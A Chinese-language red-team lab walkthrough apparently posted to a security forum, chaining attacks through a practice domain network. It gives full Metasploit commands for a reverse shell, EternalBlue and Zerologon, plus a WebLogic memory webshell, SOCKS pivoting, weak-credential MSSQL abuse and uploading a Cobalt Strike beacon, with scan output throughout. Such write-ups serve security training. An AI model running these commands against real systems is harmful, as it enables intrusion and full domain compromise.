wp-渗透攻击红队内网域渗透靶场1

279348

环境介绍

  • 攻击机(本机):192.168.111.25

  • 靶机:192.168.111.20

信息收集

  • 使用Fscan进行信息收集获取资产,这里的Fscan版本为2.0.0,个人觉得这个版本较稳定

 Fscan -h 192.168.111.20

image-20251128091324384

  • 这里使用Fscan扫描发现目标开启了7001端口服务Weblogic

Weblogic漏洞利用

image-20251128091646997

  • 注入内存马

image-20251128091724974

 # URL
 http://192.168.111.20:7001/bea_wls_internal/applicationSingletonProvider   
 # 密码
 hackfun1024  
 # 秘钥
 key

  • 连接Godzilla

image-20251128091941697

上线MSF

  • 由于当前哥斯拉连接的webshell是administrator权限,需要进行提权操作,上线MSF方便操作

 use exploit/multi/handler
 set payload windows/x64/meterpreter/reverse_tcp
 set lhost 192.168.111.25
 set lport 4444
 run

image-20251128092312799

image-20251128092335766

  • 成功获取MSF会话,进行提权,

 //查看进程
 ps
 //迁移进程
 migrate pid
 //查看当前用户
 getuid

image-20251128093525204

image-20251128092458048

  • 发现存在10.10.20.0/24网段,回到meterpreter添加路由

 meterpreter > run post/multi/manage/autoroute

image-20251128092727897

内网段信息收集

  • 上传Fscan扫一下20网段,回到meterpreter

image-20251128092932922

  • 上传fscan

 meterpreter > upload "C:\Users\24937\AppData\Roaming\Python\Python312\Scripts\FScan.exe" "C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\fscan.exe"

image-20251128093258457

 C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain>fscan -h 10.10.20.0/24
 fscan -h 10.10.20.0/24
 ┌──────────────────────────────────────────────┐
 │    ___                              _        │
 │   / _ \     ___  ___ _ __ __ _  ___| | __    │
 │  / /_\/____/ __|/ __| '__/ _` |/ __| |/ /    │
 │ / /_\\_____\__ \ (__| | | (_| | (__|   <     │
 │ \____/     |___/\___|_|  \__,_|\___|_|\_\    │
 └──────────────────────────────────────────────┘
       Fscan Version: 2.0.0
 ​
 [2025-11-28 09:33:30] [INFO] 暴力破解线程数: 1
 [2025-11-28 09:33:30] [INFO] 开始信息扫描
 [2025-11-28 09:33:30] [INFO] CIDR范围: 10.10.20.0-10.10.20.255
 [2025-11-28 09:33:30] [INFO] 生成IP范围: 10.10.20.0.%!d(string=10.10.20.255) - %!s(MISSING).%!d(MISSING)
 [2025-11-28 09:33:30] [INFO] 解析CIDR 10.10.20.0/24 -> IP范围 10.10.20.0-10.10.20.255
 [2025-11-28 09:33:30] [INFO] 最终有效主机数量: 256
 [2025-11-28 09:33:30] [INFO] 开始主机扫描
 [2025-11-28 09:33:31] [SUCCESS] 目标 10.10.20.12     存活 (ICMP)
 [2025-11-28 09:33:32] [SUCCESS] 目标 10.10.20.7      存活 (ICMP)
 [2025-11-28 09:33:34] [INFO] 存活主机数量: 2
 [2025-11-28 09:33:34] [INFO] 有效端口数量: 233
 [2025-11-28 09:33:34] [SUCCESS] 端口开放 10.10.20.12:135
 [2025-11-28 09:33:34] [SUCCESS] 端口开放 10.10.20.12:445
 [2025-11-28 09:33:34] [SUCCESS] 端口开放 10.10.20.12:139
 [2025-11-28 09:33:34] [SUCCESS] 端口开放 10.10.20.7:445
 [2025-11-28 09:33:34] [SUCCESS] 端口开放 10.10.20.7:135
 [2025-11-28 09:33:34] [SUCCESS] 端口开放 10.10.20.7:139
 [2025-11-28 09:33:36] [SUCCESS] 端口开放 10.10.20.12:7001
 [2025-11-28 09:33:39] [SUCCESS] 服务识别 10.10.20.12:445 =>
 [2025-11-28 09:33:39] [SUCCESS] 服务识别 10.10.20.12:139 =>  Banner:[.]
 [2025-11-28 09:33:39] [SUCCESS] 服务识别 10.10.20.7:445 =>
 [2025-11-28 09:33:39] [SUCCESS] 服务识别 10.10.20.7:139 =>  Banner:[.]
 [2025-11-28 09:33:46] [SUCCESS] 服务识别 10.10.20.12:7001 => [http] 产品:Oracle WebLogic admin httpd
 [2025-11-28 09:34:39] [SUCCESS] 服务识别 10.10.20.12:135 =>
 [2025-11-28 09:34:39] [SUCCESS] 服务识别 10.10.20.7:135 =>
 [2025-11-28 09:34:39] [INFO] 存活端口数量: 7
 [2025-11-28 09:34:39] [INFO] 开始漏洞扫描
 [2025-11-28 09:34:39] [INFO] 加载的插件: findnet, ms17010, netbios, smb, smb2, smbghost, webpoc, webtitle
 [2025-11-28 09:34:39] [SUCCESS] 发现漏洞 10.10.20.7 [Windows 7 Ultimate 7601 Service Pack 1] MS17-010
 [2025-11-28 09:34:39] [SUCCESS] NetInfo 扫描结果
 目标主机: 10.10.20.12
 主机名: weblogic
 发现的网络接口:
    IPv4地址:
       └─ 192.168.111.20
 [2025-11-28 09:34:39] [SUCCESS] NetInfo 扫描结果
 目标主机: 10.10.20.7
 主机名: work-7
 发现的网络接口:
    IPv4地址:
       └─ 10.10.10.7
       └─ 10.10.20.7
 [2025-11-28 09:34:39] [SUCCESS] NetBios 10.10.20.12     WORKGROUP\weblogic                  Windows Server 2012 R2 Datacenter 9600
 [2025-11-28 09:34:40] [SUCCESS] 目标: http://10.10.20.12:7001
   漏洞类型: poc-yaml-weblogic-cve-2019-2725
   漏洞名称: v12
   详细信息:
         author:fnmsd(https://github.com/fnmsd),2357000166(https://github.com/2357000166)
         links:https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2017-10271
 https://github.com/QAX-A-Team/WeblogicEnvironment
 https://xz.aliyun.com/t/5299
         description:Weblogic wls-wsat XMLDecoder deserialization RCE CVE-2019-2725 + org.slf4j.ext.EventData
 [2025-11-28 09:34:41] [SUCCESS] 检测到漏洞 http://10.10.20.12:7001/console/j_security_check poc-yaml-weblogic-console-weak 参数:[{username weblogic} {password weblogic123} {payload UTF-8}]
 [2025-11-28 09:34:42] [SUCCESS] 网站标题 http://10.10.20.12:7001   状态码:404 长度:1164   标题:Error 404--Not Found
 [2025-11-28 09:34:42] [SUCCESS] 发现指纹 目标: http://10.10.20.12:7001   指纹: [weblogic]
 [2025-11-28 09:35:02] [SUCCESS] 扫描已完成: 14/14

  • 10.10.20.12是我们已经上线MSF的192.168.111.20的另一张网卡,不用管,直接看10.10.20.7

image-20251128094115730

  • 这里发现10.10.20.7存在MS17-010永恒之蓝漏洞

永恒之蓝

  • 前面配置了路由但是忘记配置代理隧道了,现在配置一下,不然网络到不了20网段

 use auxiliary/server/socks_proxy
 set SRVHOST 0.0.0.0
 set SRVPORT 10800
 set VERSION 5
 run -j

image-20251128094424564

  • 加载永恒之蓝模块

image-20251128094541411

  • 设置攻击载荷(可能会失败,多试几次)

setg Proxies socks5:127.0.0.1:10800
set ReverseAllowProxy true
use exploit/windows/smb/ms17_010_eternalblue
set rhosts 10.10.20.7
set payload windows/x64/meterpreter/bind_tcp
run

image-20251128095217105

image-20251128095323808

  • 发现多了张10网段的网卡,我们同理添加路由,并上传Fscan扫描看看

image-20251128095437112

image-20251128095738888

 C:\Windows\system32>fscan -h 10.10.10.0/24
 fscan -h 10.10.10.0/24
 ┌──────────────────────────────────────────────┐
 │    ___                              _        │
 │   / _ \     ___  ___ _ __ __ _  ___| | __    │
 │  / /_\/____/ __|/ __| '__/ _` |/ __| |/ /    │
 │ / /_\\_____\__ \ (__| | | (_| | (__|   <     │
 │ \____/     |___/\___|_|  \__,_|\___|_|\_\    │
 └──────────────────────────────────────────────┘
       Fscan Version: 2.0.0
 ​
 [2025-11-28 10:00:24] [INFO] 暴力破解线程数: 1
 [2025-11-28 10:00:24] [INFO] 开始信息扫描
 [2025-11-28 10:00:24] [INFO] CIDR范围: 10.10.10.0-10.10.10.255
 [2025-11-28 10:00:24] [INFO] 生成IP范围: 10.10.10.0.%!d(string=10.10.10.255) - %!s(MISSING).%!d(MISSING)
 [2025-11-28 10:00:24] [INFO] 解析CIDR 10.10.10.0/24 -> IP范围 10.10.10.0-10.10.10.255
 [2025-11-28 10:00:24] [INFO] 最终有效主机数量: 256
 [2025-11-28 10:00:24] [INFO] 开始主机扫描
 [2025-11-28 10:00:24] [SUCCESS] 目标 10.10.10.7      存活 (ICMP)
 [2025-11-28 10:00:24] [SUCCESS] 目标 10.10.10.8      存活 (ICMP)
 [2025-11-28 10:00:24] [SUCCESS] 目标 10.10.10.18     存活 (ICMP)
 [2025-11-28 10:00:30] [INFO] 存活主机数量: 3
 [2025-11-28 10:00:30] [INFO] 有效端口数量: 233
 [2025-11-28 10:00:30] [SUCCESS] 端口开放 10.10.10.8:135
 [2025-11-28 10:00:30] [SUCCESS] 端口开放 10.10.10.18:80
 [2025-11-28 10:00:30] [SUCCESS] 端口开放 10.10.10.8:80
 [2025-11-28 10:00:30] [SUCCESS] 端口开放 10.10.10.18:135
 [2025-11-28 10:00:30] [SUCCESS] 端口开放 10.10.10.7:135
 [2025-11-28 10:00:30] [SUCCESS] 端口开放 10.10.10.8:88
 [2025-11-28 10:00:31] [SUCCESS] 端口开放 10.10.10.7:139
 [2025-11-28 10:00:31] [SUCCESS] 端口开放 10.10.10.8:389
 [2025-11-28 10:00:31] [SUCCESS] 端口开放 10.10.10.7:445
 [2025-11-28 10:00:31] [SUCCESS] 端口开放 10.10.10.8:443
 [2025-11-28 10:00:31] [SUCCESS] 端口开放 10.10.10.18:139
 [2025-11-28 10:00:31] [SUCCESS] 端口开放 10.10.10.8:445
 [2025-11-28 10:00:31] [SUCCESS] 端口开放 10.10.10.8:139
 [2025-11-28 10:00:31] [SUCCESS] 端口开放 10.10.10.18:445
 [2025-11-28 10:00:31] [SUCCESS] 端口开放 10.10.10.8:808
 [2025-11-28 10:00:33] [SUCCESS] 端口开放 10.10.10.18:1433
 [2025-11-28 10:00:35] [SUCCESS] 服务识别 10.10.10.18:80 => [http]
 [2025-11-28 10:00:35] [SUCCESS] 服务识别 10.10.10.8:80 => [http]
 [2025-11-28 10:00:35] [SUCCESS] 服务识别 10.10.10.8:88 =>
 [2025-11-28 10:00:36] [SUCCESS] 服务识别 10.10.10.7:139 =>  Banner:[.]
 [2025-11-28 10:00:36] [SUCCESS] 服务识别 10.10.10.8:389 => [ldap] 产品:Microsoft Windows Active Directory LDAP 系统:Windows 信息:Domain: redteam.red, Site: Default-First-Site-Name
 [2025-11-28 10:00:36] [SUCCESS] 服务识别 10.10.10.7:445 =>
 [2025-11-28 10:00:36] [SUCCESS] 服务识别 10.10.10.18:139 =>  Banner:[.]
 [2025-11-28 10:00:36] [SUCCESS] 服务识别 10.10.10.8:445 =>
 [2025-11-28 10:00:36] [SUCCESS] 服务识别 10.10.10.8:139 =>  Banner:[.]
 [2025-11-28 10:00:36] [SUCCESS] 服务识别 10.10.10.18:445 =>
 [2025-11-28 10:00:36] [SUCCESS] 服务识别 10.10.10.8:808 =>
 [2025-11-28 10:00:38] [SUCCESS] 服务识别 10.10.10.18:1433 => [ms-sql-s] 版本:10.00.1600; RTM 产品:Microsoft SQL Server 2008 系统:Windows Banner:[.%.@.]
 [2025-11-28 10:00:41] [SUCCESS] 端口开放 10.10.10.8:8172
 [2025-11-28 10:01:35] [SUCCESS] 服务识别 10.10.10.8:135 =>
 [2025-11-28 10:01:35] [SUCCESS] 服务识别 10.10.10.18:135 =>
 [2025-11-28 10:01:35] [SUCCESS] 服务识别 10.10.10.7:135 =>
 [2025-11-28 10:01:36] [SUCCESS] 服务识别 10.10.10.8:8172 =>
 [2025-11-28 10:01:56] [SUCCESS] 服务识别 10.10.10.8:443 =>
 [2025-11-28 10:01:56] [INFO] 存活端口数量: 17
 [2025-11-28 10:01:56] [INFO] 开始漏洞扫描
 [2025-11-28 10:01:56] [INFO] 加载的插件: findnet, ldap, ms17010, mssql, netbios, smb, smb2, smbghost, webpoc, webtitle
 [2025-11-28 10:01:56] [SUCCESS] NetBios 10.10.10.18     sqlserver-2008.redteam.red          Windows Server 2008 R2 Datacenter 7601 Service Pack 1
 [2025-11-28 10:01:56] [SUCCESS] 发现漏洞 10.10.10.7 [Windows 7 Ultimate 7601 Service Pack 1] MS17-010
 [2025-11-28 10:01:56] [SUCCESS] NetInfo 扫描结果
 目标主机: 10.10.10.7
 主机名: work-7
 发现的网络接口:
    IPv4地址:
       └─ 10.10.10.7
       └─ 10.10.20.7
 [2025-11-28 10:01:56] [SUCCESS] NetInfo 扫描结果
 目标主机: 10.10.10.18
 主机名: sqlserver-2008
 发现的网络接口:
    IPv4地址:
       └─ 10.10.10.18
 [2025-11-28 10:01:56] [SUCCESS] 网站标题 http://10.10.10.18        状态码:200 长度:689    标题:IIS7
 [2025-11-28 10:01:56] [INFO] 系统信息 10.10.10.18 [Windows Server 2008 R2 Datacenter 7601 Service Pack 1]
 [2025-11-28 10:01:56] [SUCCESS] NetInfo 扫描结果
 目标主机: 10.10.10.8
 主机名: owa
 发现的网络接口:
    IPv4地址:
       └─ 10.10.10.8
 [2025-11-28 10:01:56] [INFO] 系统信息 10.10.10.8 [Windows Server 2008 R2 Datacenter 7601 Service Pack 1]
 [2025-11-28 10:01:56] [SUCCESS] NetBios 10.10.10.8      DC:owa.redteam.red               Windows Server 2008 R2 Datacenter 7601 Service Pack 1
 [2025-11-28 10:01:56] [SUCCESS] 网站标题 http://10.10.10.8         状态码:403 长度:1157   标题:403 - 禁止访问: 访问被拒绝。
 [2025-11-28 10:01:56] [SUCCESS] MSSQL 10.10.10.18:1433 sa sa
 [2025-11-28 10:01:56] [SUCCESS] 网站标题 https://10.10.10.8        状态码:200 长度:689    标题:IIS7
 [2025-11-28 10:01:56] [SUCCESS] 网站标题 https://10.10.10.8:8172   状态码:404 长度:0      标题:无标题
 [2025-11-28 10:03:42] [SUCCESS] 扫描已完成: 32/32

  • 10.10.10.7是当前永恒之蓝上线主机的另一张网卡,pass掉

  • 这里可以看到还有另外两台主机10.10.10.18有mssql数据库(sa/sa),10.10.10.8是DC域主机

MSF会话转CS

  • 这里由于已经尝试很多次了,MSF的打mssql连不上会话,所以尝试转移会话用CS上线,坑太多了

image-20251128100757976

  • 将当前已经获取会话的两台主机会话转到CS上操作,这里我的CS是4.5版本,服务端和客户端都是在本机启动的

image-20251128100954461

  • 先转移上线会话1,设置监听器

image-20251128101039177

use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set prependmigrate true
set DisablePayloadHandler true
set LHOST 192.168.111.25
set LPORT 680
set SESSION 1
run

image-20251128101117668

  • 会话2需要使用正向代理,目标机器不出网,网络到不了本机,只能我们通过隧道主动去连接,设置bind tcp监听器

image-20251128101213677

  • 生成CS exe马

image-20251128101322563

image-20251128103347563

Mssql存储过程

  • 前面MSF不是配置了10800的socks代理吗,现在使用Proxifier配置代理规则,然后使用SharpSQLTools传马

image-20251128101647672

SharpSQLTools.exe 10.10.10.18 sa sa master install_clr
SharpSQLTools.exe 10.10.10.18 sa sa master enable_clr
SharpSQLTools.exe 10.10.10.18 sa sa master clr_efspotato whoami

image-20251128101934907

  • 传入前面生成的CS木马

// 以OLE分段上传
SharpSQLTools.exe 10.10.10.18 sa sa master upload C:\\Users\\24937\\Desktop\\beacons.exe C:\\Users\\Public\\beacons.exe
// 然后再拼接
SharpSQLTools.exe 10.10.10.18 sa sa master clr_combine C:\\Users\\Public\\beacons.exe
// 执行
SharpSQLTools.exe 10.10.10.18 sa sa master clr_efspotato "C:\\Users\\Public\\beacons.exe"
SharpSQLTools.exe 10.10.10.18 sa sa master upload C:\\Users\\24937\\Desktop\\beacons.exe C:\\Users\\Public\\beacons.exe
SharpSQLTools.exe 10.10.10.18 sa sa master clr_combine C:\\Users\\Public\\beacons.exe
SharpSQLTools.exe 10.10.10.18 sa sa master clr_efspotato "C:\\Users\\Public\\beacons.exe"

image-20251128103500337

  • 成功上线

横向移动

image-20251128103717518

  • 最后一台只剩10.10.10.8了,使用CVE-2020-1472（Zerologon）漏洞，把目标域成员服务器 10.10.10.8（NetBIOS 名 owa）的机器账户 owa$ 密码直接置空，用空密码横向

 // 这个模块需要一些时间,喝杯咖啡~
 setg Proxies socks5:127.0.0.1:10800
 set ReverseAllowProxy true
 search cve-2020-1472
 use auxiliary/admin/dcerpc/cve_2020_1472_zerologon
 set rhosts 10.10.10.8
 set nbname owa
 run

image-20251128105947033

  • 再添加一个监听器

image-20251128110038081

  • 横向移动

image-20251128110129905

image-20251128110149343

 //找找flag
 shell dir C:\ /s /b | findstr /i fla

image-20251128110456714

最终完整拓扑图

image-20251128110541921

© 版权声明
文章版权归作者所有，未经允许请勿转载。
THE END
技术文章
# 无境靶场
喜欢就支持一下吧
点赞48 分享
爱笑番茄很特别的头像-棉花糖会员站糖心会员
相关推荐
技术文章投稿兑换会员规则-棉花糖会员站
技术文章投稿兑换会员规则
技术文章投稿兑换会员规则
2024年3月25日 4560
【投稿】会员站内网靶场1、2、3、4、7WP-棉花糖会员站
【投稿】会员站内网靶场1、2、3、4、7WP
【投稿】会员站内网靶场1、2、3、4、7WP
2025年2月8日 3699
我的好兄弟urkc售价100元的cnvd刷证书方法-棉花糖会员站
我的好兄弟urkc售价100元的cnvd刷证书方法
我的好兄弟urkc售价100元的cnvd刷证书方法
2025年1月10日 3467
[投稿]某公众号花钱的文章，研究了100多个SSRF报告，进去一看是我之前看过的这里给大家分享一下-棉花糖会员站
[投稿]某公众号花钱的文章，研究了100多个SSRF报告，进去一看是我之前看过的这里给大家分享一下
[投稿]某公众号花钱的文章，研究了100多个SSRF报告，进去一看是我之前看过的这里给大家分享一下
2024年11月13日 3245
【投稿】最后一弹 某星球2019至今近六年内容打包 附文件-棉花糖会员站
【投稿】最后一弹 某星球2019至今近六年内容打包 附文件
【投稿】最后一弹 某星球2019至今近六年内容打包 附文件
2025年3月1日 2963
微信小程序渗透 以及自动化渗透辅助工具-棉花糖会员站
微信小程序渗透 以及自动化渗透辅助工具
微信小程序渗透 以及自动化渗透辅助工具
2024年5月10日 2794
评论 共2条

请登录后发表评论

    请登录后查看评论内容

作者
用户封面
爱笑番茄很特别的头像-棉花糖会员站糖心会员
最近一周热门文章

1FineReport 帆软报表前台远程代码执行

棉花糖的头像-棉花糖会员站糖心会员2025年12月24日
9999896

2offsec WEB-300 课程：高级 Web 攻击和利用

棉花糖的头像-棉花糖会员站糖心会员2025年12月21日
糖心会员会员专属775

3英赛特互联网客户服务平台shrz.asp 存在 SQL注入

棉花糖的头像-棉花糖会员站糖心会员2025年12月23日
9999697

4金和OA AjaxForDepartmentCollect.ashx SQL注入

棉花糖的头像-棉花糖会员站糖心会员2025年12月20日
9999695

5东胜物流软件 GetAuthorityRange 存在SQL注入

棉花糖的头像-棉花糖会员站糖心会员2025年12月22日
9999695

6用友NC pkevalset SQL注入

棉花糖的头像-棉花糖会员站糖心会员2025年12月19日
9999679
标签云
龙浏览器未引用的服务路径特权升级齿轮地理位置查询鼠标鼠标按钮命令注入远程鼠标远程代码执行鼠标远程代码鼠标路径遍历鼠标本地文件包含鼠标未引用的服务路径鼠标事件状态栏鼠标默认错误页面跨站点脚本默认配置远程代码执行默认管理员凭据默认的调制解调器上的密码硬件远程默认权限默认权利默认弱密码编码默认密码默认安全性硬件远程默认和弱加密